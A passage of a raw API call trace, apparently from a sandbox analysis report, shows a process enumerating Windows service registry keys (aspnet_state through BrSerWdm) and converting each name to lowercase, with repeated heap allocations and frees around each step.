Size=0x80) returned 0x21f2eb0 [0234.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0234.767] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1cd0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0234.767] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0234.767] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.767] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0234.767] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.767] RegEnumKeyW (in: hKey=0x150, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0234.767] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0234.767] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0234.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1d18, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0234.767] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.767] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0234.767] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.767] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.767] RegEnumKeyW (in: hKey=0x150, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0234.767] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0234.767] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.767] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0234.767] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0234.767] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.767] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0234.767] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.767] RegEnumKeyW (in: hKey=0x150, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0234.768] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0234.768] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0234.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1d18, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0234.768] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.768] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0234.768] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.768] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.768] RegEnumKeyW (in: hKey=0x150, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0234.768] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0234.768] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1cd0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0234.768] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0234.768] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.768] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0234.768] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.768] RegEnumKeyW (in: hKey=0x150, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0234.768] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0234.768] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0234.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0234.768] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.768] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0234.768] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.768] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.768] RegEnumKeyW (in: hKey=0x150, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0234.768] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0234.768] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.768] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0234.768] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0234.769] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.769] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0234.769] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.769] RegEnumKeyW (in: hKey=0x150, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0234.769] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0234.769] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0234.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0234.769] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.769] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0234.769] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.769] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.769] RegEnumKeyW (in: hKey=0x150, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0234.769] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0234.769] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0234.769] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0234.769] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.769] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0234.769] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.769] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0234.769] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0234.769] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0234.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1d18, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0234.769] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.769] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0234.769] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.769] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.769] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0234.769] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.769] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0234.770] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0234.770] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0234.770] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.770] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0234.770] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.770] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0234.770] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0234.770] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0234.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1d18, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0234.770] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.770] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0234.770] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.770] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.770] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0234.770] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0234.770] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1cd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0234.770] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0234.770] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.770] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0234.770] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.770] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0234.770] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0234.770] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0234.770] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1d18, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0234.770] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.770] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0234.770] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.771] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.771] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0234.771] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0234.771] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0234.771] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0234.771] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.771] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0234.771] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.771] RegEnumKeyW (in: hKey=0x150, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0234.771] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0234.771] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0234.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0234.771] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.771] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0234.771] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.771] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.771] RegEnumKeyW (in: hKey=0x150, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0234.771] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0234.771] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0234.771] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0234.771] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.771] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0234.771] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.771] RegEnumKeyW (in: hKey=0x150, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0234.771] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.771] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0234.771] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0234.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0234.772] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.772] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0234.772] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.772] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.772] RegEnumKeyW (in: hKey=0x150, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0234.772] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0234.772] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0234.772] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0234.772] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.772] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0234.772] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.772] RegEnumKeyW (in: hKey=0x150, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0234.772] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0234.772] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0234.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0234.772] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.772] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0234.772] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0234.772] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0234.772] RegEnumKeyW (in: hKey=0x150, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0234.772] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0234.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0234.772] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0234.772] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1cd0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0234.772] RtlAllocateHeap 